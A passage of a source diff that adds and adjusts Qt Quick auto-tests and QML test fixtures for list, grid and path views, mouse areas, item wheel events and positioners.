QTest::newRow("move multiple forwards, from non-visible -> visible (move first item)")
<< 120.0 // show 6-23
<< 0 << 6 << 3
- << 0.0;
+ << 60.0; // top row moved, all items should shift down by 1 row
QTest::newRow("move multiple forwards, from visible -> non-visible")
<< 0.0
@@ -745,7 +745,7 @@ void tst_QSGGridView::moved_data()
QTest::newRow("move multiple forwards, from visible -> non-visible (move first item)")
<< 0.0
<< 0 << 16 << 3
- << 0.0;
+ << 60.0;
QTest::newRow("move multiple backwards, within visible items")
@@ -880,6 +880,26 @@ void tst_QSGGridView::currentIndex()
QTRY_COMPARE(gridview->contentY(), 0.0);
+
+ // footer should become visible if it is out of view, and then current index moves to the first row
+ canvas->rootObject()->setProperty("showFooter", true);
+ QTRY_VERIFY(gridview->footerItem());
+ gridview->setCurrentIndex(model.count()-3);
+ QTRY_VERIFY(gridview->footerItem()->y() > gridview->contentY() + gridview->height());
+ gridview->setCurrentIndex(model.count()-2);
+ QTRY_COMPARE(gridview->contentY() + gridview->height(), (60.0 * model.count()/3) + gridview->footerItem()->height());
+ canvas->rootObject()->setProperty("showFooter", false);
+
+ // header should become visible if it is out of view, and then current index moves to the last row
+ canvas->rootObject()->setProperty("showHeader", true);
+ QTRY_VERIFY(gridview->headerItem());
+ gridview->setCurrentIndex(3);
+ QTRY_VERIFY(gridview->headerItem()->y() + gridview->headerItem()->height() < gridview->contentY());
+ gridview->setCurrentIndex(1);
+ QTRY_COMPARE(gridview->contentY(), -gridview->headerItem()->height());
+ canvas->rootObject()->setProperty("showHeader", false);
+
+
// Test keys
qApp->setActiveWindow(canvas);
#ifdef Q_WS_X11
@@ -889,6 +909,8 @@ void tst_QSGGridView::currentIndex()
QTRY_VERIFY(canvas->hasFocus());
qApp->processEvents();
+ gridview->setCurrentIndex(0);
+
QTest::keyClick(canvas, Qt::Key_Down);
QCOMPARE(gridview->currentIndex(), 3);
@@ -1344,7 +1366,7 @@ void tst_QSGGridView::modelChanges()
QDeclarativeListModel *alternateModel = canvas->rootObject()->findChild<QDeclarativeListModel*>("alternateModel");
QTRY_VERIFY(alternateModel);
- QVariant modelVariant = QVariant::fromValue(alternateModel);
+ QVariant modelVariant = QVariant::fromValue<QObject *>(alternateModel);
QSignalSpy modelSpy(gridView, SIGNAL(modelChanged()));
gridView->setModel(modelVariant);
diff --git a/tests/auto/declarative/qsgimage/tst_qsgimage.cpp b/tests/auto/declarative/qsgimage/tst_qsgimage.cpp
index 5ac8c217ed..948f36cdb2 100644
--- a/tests/auto/declarative/qsgimage/tst_qsgimage.cpp
+++ b/tests/auto/declarative/qsgimage/tst_qsgimage.cpp
@@ -343,6 +343,9 @@ void tst_qsgimage::mirror()
}
QImage img = expected.toImage();
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21005 fails", Continue);
+#endif
QCOMPARE(screenshots[fillMode], img);
}
}
@@ -469,6 +472,9 @@ void tst_qsgimage::tiling_QTBUG_6716()
QImage img = canvas->grabFrameBuffer();
for (int x = 0; x < tiling->width(); ++x) {
for (int y = 0; y < tiling->height(); ++y) {
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21005 fails", Abort);
+#endif
QVERIFY(img.pixel(x, y) == qRgb(0, 255, 0));
}
}
diff --git a/tests/auto/declarative/qsgitem/tst_qsgitem.cpp b/tests/auto/declarative/qsgitem/tst_qsgitem.cpp
index e591ab8c86..7a612c433b 100644
--- a/tests/auto/declarative/qsgitem/tst_qsgitem.cpp
+++ b/tests/auto/declarative/qsgitem/tst_qsgitem.cpp
@@ -52,16 +52,18 @@ class TestItem : public QSGItem
{
Q_OBJECT
public:
- TestItem(QSGItem *parent = 0) : QSGItem(parent), focused(false), pressCount(0), releaseCount(0) {}
+ TestItem(QSGItem *parent = 0) : QSGItem(parent), focused(false), pressCount(0), releaseCount(0), wheelCount(0) {}
bool focused;
int pressCount;
int releaseCount;
+ int wheelCount;
protected:
virtual void focusInEvent(QFocusEvent *) { Q_ASSERT(!focused); focused = true; }
virtual void focusOutEvent(QFocusEvent *) { Q_ASSERT(focused); focused = false; }
virtual void mousePressEvent(QGraphicsSceneMouseEvent *event) { event->accept(); ++pressCount; }
virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent *event) { event->accept(); ++releaseCount; }
+ virtual void wheelEvent(QWheelEvent *event) { event->accept(); ++wheelCount; }
};
class TestPolishItem : public QSGItem
@@ -123,6 +125,9 @@ private slots:
void mouseGrab();
void polishOutsideAnimation();
+ void wheelEvent_data();
+ void wheelEvent();
+
private:
void ensureFocus(QWidget *w) {
w->show();
@@ -845,6 +850,50 @@ void tst_qsgitem::polishOutsideAnimation()
delete canvas;
}
+void tst_qsgitem::wheelEvent_data()
+{
+ QTest::addColumn<bool>("visible");
+ QTest::addColumn<bool>("enabled");
+
+ QTest::newRow("visible and enabled") << true << true;
+ QTest::newRow("visible and disabled") << true << false;
+ QTest::newRow("invisible and enabled") << false << true;
+ QTest::newRow("invisible and disabled") << false << false;
+}
+
+void tst_qsgitem::wheelEvent()
+{
+ QFETCH(bool, visible);
+ QFETCH(bool, enabled);
+
+ const bool shouldReceiveWheelEvents = visible && enabled;
+
+ QSGCanvas *canvas = new QSGCanvas;
+ canvas->resize(200, 200);
+ canvas->show();
+
+ TestItem *item = new TestItem;
+ item->setSize(QSizeF(200, 100));
+ item->setParentItem(canvas->rootItem());
+
+ item->setEnabled(enabled);
+ item->setVisible(visible);
+
+ QWheelEvent event(QPoint(100, 50), -120, Qt::NoButton, Qt::NoModifier, Qt::Vertical);
+ event.setAccepted(false);
+ QApplication::sendEvent(canvas, &event);
+
+ if (shouldReceiveWheelEvents) {
+ QVERIFY(event.isAccepted());
+ QCOMPARE(item->wheelCount, 1);
+ } else {
+ QVERIFY(!event.isAccepted());
+ QCOMPARE(item->wheelCount, 0);
+ }
+
+ delete canvas;
+}
+
QTEST_MAIN(tst_qsgitem)
#include "tst_qsgitem.moc"
diff --git a/tests/auto/declarative/qsglistview/data/listview-enforcerange-nohighlight.qml b/tests/auto/declarative/qsglistview/data/listview-enforcerange-nohighlight.qml
new file mode 100644
index 0000000000..1db1096499
--- /dev/null
+++ b/tests/auto/declarative/qsglistview/data/listview-enforcerange-nohighlight.qml
@@ -0,0 +1,61 @@
+import QtQuick 2.0
+
+Rectangle {
+ width: 240
+ height: 320
+
+ Component {
+ id: myDelegate
+ Rectangle {
+ id: wrapper
+ objectName: "wrapper"
+ height: 20
+ width: 240
+ color: "transparent"
+ Text {
+ text: index
+ }
+ Text {
+ x: 30
+ id: textName
+ objectName: "textName"
+ text: name
+ }
+ Text {
+ x: 120
+ id: textNumber
+ objectName: "textNumber"
+ text: number
+ }
+ Text {
+ x: 200
+ text: wrapper.y
+ }
+ }
+ }
+
+ Rectangle { // current listview item should be always in this area
+ y: 100
+ height: 20
+ width: 240
+ color: "purple"
+ }
+
+ ListView {
+ id: list
+ objectName: "list"
+ width: 240
+ height: 320
+ model: testModel
+ delegate: myDelegate
+ focus: true
+
+ preferredHighlightBegin: 100
+ preferredHighlightEnd: 100
+ highlightRangeMode: "StrictlyEnforceRange"
+
+ section.property: "number"
+ section.delegate: Rectangle { width: 240; height: 10; color: "lightsteelblue" }
+ }
+}
+
diff --git a/tests/auto/declarative/qsglistview/data/listview-initCurrent.qml b/tests/auto/declarative/qsglistview/data/listview-initCurrent.qml
index ee1a333de0..c4f1860eda 100644
--- a/tests/auto/declarative/qsglistview/data/listview-initCurrent.qml
+++ b/tests/auto/declarative/qsglistview/data/listview-initCurrent.qml
@@ -1,7 +1,12 @@
import QtQuick 2.0
Rectangle {
+ id: root
+
property int current: list.currentIndex
+ property bool showHeader: false
+ property bool showFooter: false
+
width: 240
height: 320
color: "#ffffff"
@@ -36,6 +41,12 @@ Rectangle {
}
}
]
+
+ Component {
+ id: headerFooter
+ Rectangle { height: 30; width: 240; color: "blue" }
+ }
+
ListView {
id: list
objectName: "list"
@@ -47,5 +58,7 @@ Rectangle {
delegate: myDelegate
highlightMoveSpeed: 1000
model: testModel
+ header: root.showHeader ? headerFooter : null
+ footer: root.showFooter ? headerFooter : null
}
}
diff --git a/tests/auto/declarative/qsglistview/tst_qsglistview.cpp b/tests/auto/declarative/qsglistview/tst_qsglistview.cpp
index 48a10ca669..94d6cf3d45 100644
--- a/tests/auto/declarative/qsglistview/tst_qsglistview.cpp
+++ b/tests/auto/declarative/qsglistview/tst_qsglistview.cpp
@@ -98,6 +98,7 @@ private slots:
void currentIndex();
void noCurrentIndex();
void enforceRange();
+ void enforceRange_withoutHighlight();
void spacing();
void sections();
void sectionsDelegate();
@@ -120,6 +121,7 @@ private slots:
void sizeLessThan1();
void QTBUG_14821();
void resizeDelegate();
+ void resizeFirstDelegate();
void QTBUG_16037();
void indexAt();
void incrementalModel();
@@ -1113,6 +1115,54 @@ void tst_QSGListView::enforceRange()
delete canvas;
}
+void tst_QSGListView::enforceRange_withoutHighlight()
+{
+ // QTBUG-20287
+ // If no highlight is set but StrictlyEnforceRange is used, the content should still move
+ // to the correct position (i.e. to the next/previous item, not next/previous section)
+ // when moving up/down via incrementCurrentIndex() and decrementCurrentIndex()
+
+ QSGView *canvas = createView();
+ canvas->show();
+
+ TestModel model;
+ model.addItem("Item 0", "a");
+ model.addItem("Item 1", "b");
+ model.addItem("Item 2", "b");
+ model.addItem("Item 3", "c");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listview-enforcerange-nohighlight.qml"));
+ qApp->processEvents();
+
+ QSGListView *listview = findItem<QSGListView>(canvas->rootObject(), "list");
+ QTRY_VERIFY(listview != 0);
+
+ qreal expectedPos = -100.0;
+
+ expectedPos += 10.0; // scroll past 1st section's delegate (10px height)
+ QTRY_COMPARE(listview->contentY(), expectedPos);
+
+ expectedPos += 20 + 10; // scroll past 1st section and section delegate of 2nd section
+ QTest::keyClick(canvas, Qt::Key_Down);
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21007 fails", Abort);
+#endif
+ QTRY_COMPARE(listview->contentY(), expectedPos);
+
+ expectedPos += 20; // scroll past 1st item of 2nd section
+ QTest::keyClick(canvas, Qt::Key_Down);
+ QTRY_COMPARE(listview->contentY(), expectedPos);
+
+ expectedPos += 20 + 10; // scroll past 2nd item of 2nd section and section delegate of 3rd section
+ QTest::keyClick(canvas, Qt::Key_Down);
+ QTRY_COMPARE(listview->contentY(), expectedPos);
+
+ delete canvas;
+}
+
void tst_QSGListView::spacing()
{
QSGView *canvas = createView();
@@ -1431,6 +1481,26 @@ void tst_QSGListView::currentIndex()
QTRY_COMPARE(listview->contentY(), 0.0);
+
+ // footer should become visible if it is out of view, and then current index is set to count-1
+ canvas->rootObject()->setProperty("showFooter", true);
+ QTRY_VERIFY(listview->footerItem());
+ listview->setCurrentIndex(model.count()-2);
+ QTRY_VERIFY(listview->footerItem()->y() > listview->contentY() + listview->height());
+ listview->setCurrentIndex(model.count()-1);
+ QTRY_COMPARE(listview->contentY() + listview->height(), (20.0 * model.count()) + listview->footerItem()->height());
+ canvas->rootObject()->setProperty("showFooter", false);
+
+ // header should become visible if it is out of view, and then current index is set to 0
+ canvas->rootObject()->setProperty("showHeader", true);
+ QTRY_VERIFY(listview->headerItem());
+ listview->setCurrentIndex(1);
+ QTRY_VERIFY(listview->headerItem()->y() + listview->headerItem()->height() < listview->contentY());
+ listview->setCurrentIndex(0);
+ QTRY_COMPARE(listview->contentY(), -listview->headerItem()->height());
+ canvas->rootObject()->setProperty("showHeader", false);
+
+
// Test keys
canvas->show();
qApp->setActiveWindow(canvas);
@@ -1441,6 +1511,8 @@ void tst_QSGListView::currentIndex()
QTRY_VERIFY(canvas->hasFocus());
qApp->processEvents();
+ listview->setCurrentIndex(0);
+
QTest::keyClick(canvas, Qt::Key_Down);
QCOMPARE(listview->currentIndex(), 1);
@@ -1961,7 +2033,7 @@ void tst_QSGListView::modelChanges()
QDeclarativeListModel *alternateModel = canvas->rootObject()->findChild<QDeclarativeListModel*>("alternateModel");
QTRY_VERIFY(alternateModel);
- QVariant modelVariant = QVariant::fromValue(alternateModel);
+ QVariant modelVariant = QVariant::fromValue<QObject *>(alternateModel);
QSignalSpy modelSpy(listView, SIGNAL(modelChanged()));
listView->setModel(modelVariant);
@@ -2671,6 +2743,60 @@ void tst_QSGListView::resizeDelegate()
delete canvas;
}
+void tst_QSGListView::resizeFirstDelegate()
+{
+ // QTBUG-20712: Content Y jumps constantly if first delegate height == 0
+ // and other delegates have height > 0
+
+ QSGView *canvas = createView();
+ canvas->show();
+
+ // bug only occurs when all items in the model are visible
+ TestModel model;
+ for (int i = 0; i < 10; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/listviewtest.qml"));
+ qApp->processEvents();
+
+ QSGListView *listview = findItem<QSGListView>(canvas->rootObject(), "list");
+ QVERIFY(listview != 0);
+
+ QSGItem *contentItem = listview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ QSGItem *item = 0;
+ for (int i = 0; i < model.count(); ++i) {
+ item = findItem<QSGItem>(contentItem, "wrapper", i);
+ QVERIFY(item != 0);
+ QCOMPARE(item->y(), i*20.0);
+ }
+
+ item = findItem<QSGItem>(contentItem, "wrapper", 0);
+ item->setHeight(0);
+
+ // check the content y has not jumped up and down
+ QCOMPARE(listview->contentY(), 0.0);
+ QSignalSpy spy(listview, SIGNAL(contentYChanged()));
+ QTest::qWait(300);
+ QCOMPARE(spy.count(), 0);
+
+ for (int i = 1; i < model.count(); ++i) {
+ item = findItem<QSGItem>(contentItem, "wrapper", i);
+ QVERIFY(item != 0);
+ QTRY_COMPARE(item->y(), (i-1)*20.0);
+ }
+
+ delete testObject;
+ delete canvas;
+}
+
void tst_QSGListView::QTBUG_16037()
{
QSGView *canvas = createView();
diff --git a/tests/auto/declarative/qsgmousearea/data/hoverPropagation.qml b/tests/auto/declarative/qsgmousearea/data/hoverPropagation.qml
new file mode 100644
index 0000000000..c47c794132
--- /dev/null
+++ b/tests/auto/declarative/qsgmousearea/data/hoverPropagation.qml
@@ -0,0 +1,54 @@
+import QtQuick 2.0
+
+Item{
+ width: 400
+ height: 200
+ property bool point1: ma2.containsMouse && !ma1.containsMouse
+ property bool point2: ma3.containsMouse && ma4.containsMouse
+ Rectangle{
+ width: 200
+ height: 200
+ color: ma1.containsMouse ? "red" : "white"
+ MouseArea{
+ id: ma1
+ hoverEnabled: true
+ anchors.fill: parent
+ }
+ Rectangle{
+ width: 100
+ height: 100
+ color: ma2.containsMouse ? "blue" : "white"
+ MouseArea{
+ id: ma2
+ hoverEnabled: true
+ anchors.fill: parent
+ }
+ }
+ }
+
+ Item{
+ x:200
+ Rectangle{
+ width: 200
+ height: 200
+ color: ma3.containsMouse ? "yellow" : "white"
+ Rectangle{
+ width: 100
+ height: 100
+ color: ma4.containsMouse ? "green" : "white"
+ }
+ }
+ MouseArea{
+ id: ma3
+ hoverEnabled: true
+ width: 200
+ height: 200
+ MouseArea{
+ id: ma4
+ width: 100
+ height: 100
+ hoverEnabled: true
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qsgmousearea/data/pressedCanceled.qml b/tests/auto/declarative/qsgmousearea/data/pressedCanceled.qml
new file mode 100644
index 0000000000..231436d0f2
--- /dev/null
+++ b/tests/auto/declarative/qsgmousearea/data/pressedCanceled.qml
@@ -0,0 +1,18 @@
+import QtQuick 2.0
+
+Rectangle {
+ id: root
+ color: "#ffffff"
+ width: 320; height: 240
+ property bool pressed:mouse.pressed
+ property bool canceled: false
+ property bool released: false
+
+ MouseArea {
+ id: mouse
+ anchors.fill: parent
+ onPressed: { root.canceled = false }
+ onCanceled: {root.canceled = true}
+ onReleased: {root.released = true; root.canceled = false}
+ }
+} \ No newline at end of file
diff --git a/tests/auto/declarative/qsgmousearea/tst_qsgmousearea.cpp b/tests/auto/declarative/qsgmousearea/tst_qsgmousearea.cpp
index 8e711e6ceb..420eda9aca 100644
--- a/tests/auto/declarative/qsgmousearea/tst_qsgmousearea.cpp
+++ b/tests/auto/declarative/qsgmousearea/tst_qsgmousearea.cpp
@@ -67,6 +67,7 @@ private slots:
void updateMouseAreaPosOnResize();
void noOnClickedWithPressAndHold();
void onMousePressRejected();
+ void pressedCanceledOnWindowDeactivate();
void doubleClick();
void clickTwice();
void pressedOrdering();
@@ -75,6 +76,7 @@ private slots:
void testQtQuick11Attributes();
void testQtQuick11Attributes_data();
void hoverPosition();
+ void hoverPropagation();
private:
QSGView *createView();
@@ -417,7 +419,51 @@ void tst_QSGMouseArea::onMousePressRejected()
delete canvas;
}
+void tst_QSGMouseArea::pressedCanceledOnWindowDeactivate()
+{
+ QSGView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pressedCanceled.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+ QVERIFY(!canvas->rootObject()->property("pressed").toBool());
+ QVERIFY(!canvas->rootObject()->property("canceled").toBool());
+ QVERIFY(!canvas->rootObject()->property("released").toBool());
+
+ QMouseEvent pressEvent(QEvent::MouseButtonPress, QPoint(100, 100), Qt::LeftButton, Qt::LeftButton, 0);
+ QApplication::sendEvent(canvas, &pressEvent);
+
+ QVERIFY(canvas->rootObject()->property("pressed").toBool());
+ QVERIFY(!canvas->rootObject()->property("canceled").toBool());
+ QVERIFY(!canvas->rootObject()->property("released").toBool());
+
+ QTest::qWait(200);
+
+ QEvent windowDeactivateEvent(QEvent::WindowDeactivate);
+ QApplication::sendEvent(canvas, &windowDeactivateEvent);
+ QVERIFY(!canvas->rootObject()->property("pressed").toBool());
+ QVERIFY(canvas->rootObject()->property("canceled").toBool());
+ QVERIFY(!canvas->rootObject()->property("released").toBool());
+
+ QTest::qWait(200);
+
+ //press again
+ QApplication::sendEvent(canvas, &pressEvent);
+ QVERIFY(canvas->rootObject()->property("pressed").toBool());
+ QVERIFY(!canvas->rootObject()->property("canceled").toBool());
+ QVERIFY(!canvas->rootObject()->property("released").toBool());
+
+ QTest::qWait(200);
+
+ //release
+ QMouseEvent releaseEvent(QEvent::MouseButtonRelease, QPoint(100, 100), Qt::LeftButton, Qt::LeftButton, 0);
+ QApplication::sendEvent(canvas, &releaseEvent);
+ QVERIFY(!canvas->rootObject()->property("pressed").toBool());
+ QVERIFY(!canvas->rootObject()->property("canceled").toBool());
+ QVERIFY(canvas->rootObject()->property("released").toBool());
+ delete canvas;
+}
void tst_QSGMouseArea::doubleClick()
{
QSGView *canvas = createView();
@@ -735,12 +781,43 @@ void tst_QSGMouseArea::hoverPosition()
QMouseEvent moveEvent(QEvent::MouseMove, QPoint(10, 32), Qt::NoButton, Qt::NoButton, 0);
QApplication::sendEvent(canvas, &moveEvent);
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21008 fails", Abort);
+#endif
QCOMPARE(root->property("mouseX").toReal(), qreal(10));
QCOMPARE(root->property("mouseY").toReal(), qreal(32));
delete canvas;
}
+void tst_QSGMouseArea::hoverPropagation()
+{
+ //QTBUG-18175, to behave like GV did.
+ QSGView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/hoverPropagation.qml"));
+
+ QSGItem *root = canvas->rootObject();
+ QVERIFY(root != 0);
+
+ QCOMPARE(root->property("point1").toBool(), false);
+ QCOMPARE(root->property("point2").toBool(), false);
+
+ QMouseEvent moveEvent(QEvent::MouseMove, QPoint(32, 32), Qt::NoButton, Qt::NoButton, 0);
+ QApplication::sendEvent(canvas, &moveEvent);
+#ifdef Q_WS_QPA
+ QEXPECT_FAIL("", "QTBUG-21008 fails", Abort);
+#endif
+ QCOMPARE(root->property("point1").toBool(), true);
+ QCOMPARE(root->property("point2").toBool(), false);
+
+ QMouseEvent moveEvent2(QEvent::MouseMove, QPoint(232, 32), Qt::NoButton, Qt::NoButton, 0);
+ QApplication::sendEvent(canvas, &moveEvent2);
+ QCOMPARE(root->property("point1").toBool(), false);
+ QCOMPARE(root->property("point2").toBool(), true);
+
+ delete canvas;
+}
+
QTEST_MAIN(tst_QSGMouseArea)
#include "tst_qsgmousearea.moc"
diff --git a/tests/auto/declarative/qsgpathview/data/pathview0.qml b/tests/auto/declarative/qsgpathview/data/pathview0.qml
index 72b71a3c80..8b9378163f 100644
--- a/tests/auto/declarative/qsgpathview/data/pathview0.qml
+++ b/tests/auto/declarative/qsgpathview/data/pathview0.qml
@@ -17,6 +17,7 @@ Rectangle {
Rectangle {
id: wrapper
objectName: "wrapper"
+ property bool onPath: PathView.onPath
height: root.delegateHeight
width: root.delegateWidth
scale: root.delegateScale
diff --git a/tests/auto/declarative/qsgpathview/tst_qsgpathview.cpp b/tests/auto/declarative/qsgpathview/tst_qsgpathview.cpp
index 91f6491493..96a591f511 100644
--- a/tests/auto/declarative/qsgpathview/tst_qsgpathview.cpp
+++ b/tests/auto/declarative/qsgpathview/tst_qsgpathview.cpp
@@ -423,6 +423,7 @@ void tst_QSGPathView::dataModel()
QTRY_COMPARE(findItems<QSGItem>(pathview, "wrapper").count(), 14);
QVERIFY(pathview->currentIndex() == 0);
+ QCOMPARE(pathview->currentItem(), findItem<QSGItem>(pathview, "wrapper", 0));
QSGText *text = findItem<QSGText>(pathview, "myText", 4);
QVERIFY(text);
@@ -433,6 +434,7 @@ void tst_QSGPathView::dataModel()
text = findItem<QSGText>(pathview, "myText", 2);
QVERIFY(text);
QCOMPARE(text->text(), model.name(2));
+ QCOMPARE(pathview->currentItem(), findItem<QSGItem>(pathview, "wrapper", 0));
testObject->setPathItemCount(5);
QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties");
@@ -446,12 +448,15 @@ void tst_QSGPathView::dataModel()
QVERIFY(testItem == 0);
pathview->setCurrentIndex(1);
+ QCOMPARE(pathview->currentItem(), findItem<QSGItem>(pathview, "wrapper", 1));
+ QTest::qWait(100);
model.insertItem(2, "pink", "2");
QTest::qWait(100);
QTRY_COMPARE(findItems<QSGItem>(pathview, "wrapper").count(), 5);
QVERIFY(pathview->currentIndex() == 1);
+ QCOMPARE(pathview->currentItem(), findItem<QSGItem>(pathview, "wrapper", 1));
text = findItem<QSGText>(pathview, "myText", 2);
QVERIFY(text);
@@ -462,6 +467,7 @@ void tst_QSGPathView::dataModel()
text = findItem<QSGText>(pathview, "myText", 3);
QVERIFY(text);
QCOMPARE(text->text(), model.name(3));
+ QCOMPARE(pathview->currentItem(), findItem<QSGItem>(pathview, "wrapper", 1));
model.moveItem(3, 5);
QTRY_COMPARE(findItems<QSGItem>(pathview, "wrapper").count(), 5);
@@ -469,6 +475,7 @@ void tst_QSGPathView::dataModel()
foreach (QSGItem *item, items) {
QVERIFY(item->property("onPath").toBool());
}
+ QCOMPARE(pathview->currentItem(), findItem<QSGItem>(pathview, "wrapper", 1));
// QTBUG-14199
pathview->setOffset(7);
@@ -578,30 +585,81 @@ void tst_QSGPathView::setCurrentIndex()
QTRY_COMPARE(firstItem->pos() + offset, start);
QCOMPARE(canvas->rootObject()->property("currentA").toInt(), 2);
QCOMPARE(canvas->rootObject()->property("currentB").toInt(), 2);
+ QCOMPARE(pathview->currentItem(), firstItem);
+ QCOMPARE(firstItem->property("onPath"), QVariant(true));
pathview->decrementCurrentIndex();
QTRY_COMPARE(pathview->currentIndex(), 1);
firstItem = findItem<QSGRectangle>(pathview, "wrapper", 1);
QVERIFY(firstItem);
QTRY_COMPARE(firstItem->pos() + offset, start);
+ QCOMPARE(pathview->currentItem(), firstItem);
+ QCOMPARE(firstItem->property("onPath"), QVariant(true));
pathview->decrementCurrentIndex();
QTRY_COMPARE(pathview->currentIndex(), 0);
firstItem = findItem<QSGRectangle>(pathview, "wrapper", 0);
QVERIFY(firstItem);
QTRY_COMPARE(firstItem->pos() + offset, start);
+ QCOMPARE(pathview->currentItem(), firstItem);
+ QCOMPARE(firstItem->property("onPath"), QVariant(true));
pathview->decrementCurrentIndex();
QTRY_COMPARE(pathview->currentIndex(), 3);
firstItem = findItem<QSGRectangle>(pathview, "wrapper", 3);
QVERIFY(firstItem);
QTRY_COMPARE(firstItem->pos() + offset, start);
+ QCOMPARE(pathview->currentItem(), firstItem);
+ QCOMPARE(firstItem->property("onPath"), QVariant(true));
pathview->incrementCurrentIndex();
QTRY_COMPARE(pathview->currentIndex(), 0);
firstItem = findItem<QSGRectangle>(pathview, "wrapper", 0);
QVERIFY(firstItem);
QTRY_COMPARE(firstItem->pos() + offset, start);
+ QCOMPARE(pathview->currentItem(), firstItem);
+ QCOMPARE(firstItem->property("onPath"), QVariant(true));
+
+ // Check the current item is still created when outside the bounds of pathItemCount.
+ pathview->setPathItemCount(2);
+ pathview->setHighlightRangeMode(QSGPathView::NoHighlightRange);
+ QVERIFY(findItem<QSGRectangle>(pathview, "wrapper", 0));
+ QVERIFY(findItem<QSGRectangle>(pathview, "wrapper", 1));
+ QVERIFY(!findItem<QSGRectangle>(pathview, "wrapper", 2));
+ QVERIFY(!findItem<QSGRectangle>(pathview, "wrapper", 3));
+
+ pathview->setCurrentIndex(2);
+ firstItem = findItem<QSGRectangle>(pathview, "wrapper", 2);
+ QCOMPARE(pathview->currentItem(), firstItem);
+ QCOMPARE(firstItem->property("onPath"), QVariant(false));
+
+ pathview->decrementCurrentIndex();
+ QTRY_COMPARE(pathview->currentIndex(), 1);
+ firstItem = findItem<QSGRectangle>(pathview, "wrapper", 1);
+ QVERIFY(firstItem);
+ QCOMPARE(pathview->currentItem(), firstItem);
+ QCOMPARE(firstItem->property("onPath"), QVariant(true));
+
+ pathview->decrementCurrentIndex();
+ QTRY_COMPARE(pathview->currentIndex(), 0);
+ firstItem = findItem<QSGRectangle>(pathview, "wrapper", 0);
+ QVERIFY(firstItem);
+ QCOMPARE(pathview->currentItem(), firstItem);
+ QCOMPARE(firstItem->property("onPath"), QVariant(true));
+
+ pathview->decrementCurrentIndex();
+ QTRY_COMPARE(pathview->currentIndex(), 3);
+ firstItem = findItem<QSGRectangle>(pathview, "wrapper", 3);
+ QVERIFY(firstItem);
+ QCOMPARE(pathview->currentItem(), firstItem);
+ QCOMPARE(firstItem->property("onPath"), QVariant(false));
+
+ pathview->incrementCurrentIndex();
+ QTRY_COMPARE(pathview->currentIndex(), 0);
+ firstItem = findItem<QSGRectangle>(pathview, "wrapper", 0);
+ QVERIFY(firstItem);
+ QCOMPARE(pathview->currentItem(), firstItem);
+ QCOMPARE(firstItem->property("onPath"), QVariant(true));
delete canvas;
}
@@ -777,7 +835,7 @@ void tst_QSGPathView::modelChanges()
QDeclarativeListModel *alternateModel = canvas->rootObject()->findChild<QDeclarativeListModel*>("alternateModel");
QVERIFY(alternateModel);
- QVariant modelVariant = QVariant::fromValue(alternateModel);
+ QVariant modelVariant = QVariant::fromValue<QObject *>(alternateModel);
QSignalSpy modelSpy(pathView, SIGNAL(modelChanged()));
pathView->setModel(modelVariant);
diff --git a/tests/auto/declarative/qsgpositioners/data/attachedproperties-column.qml b/tests/auto/declarative/qsgpositioners/data/attachedproperties-column.qml
new file mode 100644
index 0000000000..4c667aa205
--- /dev/null
+++ b/tests/auto/declarative/qsgpositioners/data/attachedproperties-column.qml
@@ -0,0 +1,50 @@
+import QtQuick 2.0
+
+Rectangle {
+ width: 100
+ height: 200
+
+ Column {
+
+ Rectangle {
+ width: 100
+ height: 100
+ color: 'red'
+ visible: false
+ }
+
+ Rectangle {
+ objectName: "greenRect"
+ width: 100
+ height: 100
+ color: 'green'
+ property int posIndex: Positioner.index
+ property bool isFirstItem: Positioner.isFirstItem
+ property bool isLastItem: Positioner.isLastItem
+ }
+
+ Rectangle {
+ width: 100
+ height: 100
+ color: 'blue'
+ visible: false
+ }
+
+ Rectangle {
+ objectName: "yellowRect"
+ width: 100
+ height: 100
+ color: 'yellow'
+
+ property int posIndex: -1
+ property bool isFirstItem: false
+ property bool isLastItem: false
+
+ function onDemandPositioner() {
+ posIndex = Positioner.index;
+ isFirstItem = Positioner.isFirstItem
+ isLastItem = Positioner.isLastItem
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qsgpositioners/data/attachedproperties-dynamic.qml b/tests/auto/declarative/qsgpositioners/data/attachedproperties-dynamic.qml
new file mode 100644
index 0000000000..894749dc16
--- /dev/null
+++ b/tests/auto/declarative/qsgpositioners/data/attachedproperties-dynamic.qml
@@ -0,0 +1,44 @@
+import QtQuick 2.0
+
+Rectangle
+{
+ width: 300
+ height: 100
+
+ Row {
+ id: pos
+ objectName: "pos"
+ anchors.fill: parent
+
+ Rectangle {
+ objectName: "rect0"
+ width: 100
+ height: 100
+ color: 'red'
+ property int index: Positioner.index
+ property bool firstItem: Positioner.isFirstItem
+ property bool lastItem: Positioner.isLastItem
+ }
+
+ Rectangle {
+ objectName: "rect1"
+ width: 100
+ height: 100
+ color: 'green'
+ property int index: Positioner.index
+ property bool firstItem: Positioner.isFirstItem
+ property bool lastItem: Positioner.isLastItem
+ }
+
+ property QtObject subRect;
+
+ function createSubRect() {
+ var component = Qt.createComponent("rectangleComponent.qml");
+ subRect = component.createObject(pos, {});
+ }
+
+ function destroySubRect() {
+ subRect.destroy();
+ }
+ }
+}
diff --git a/tests/auto/declarative/qsgpositioners/data/attachedproperties-flow.qml b/tests/auto/declarative/qsgpositioners/data/attachedproperties-flow.qml
new file mode 100644
index 0000000000..e7f9a63e2a
--- /dev/null
+++ b/tests/auto/declarative/qsgpositioners/data/attachedproperties-flow.qml
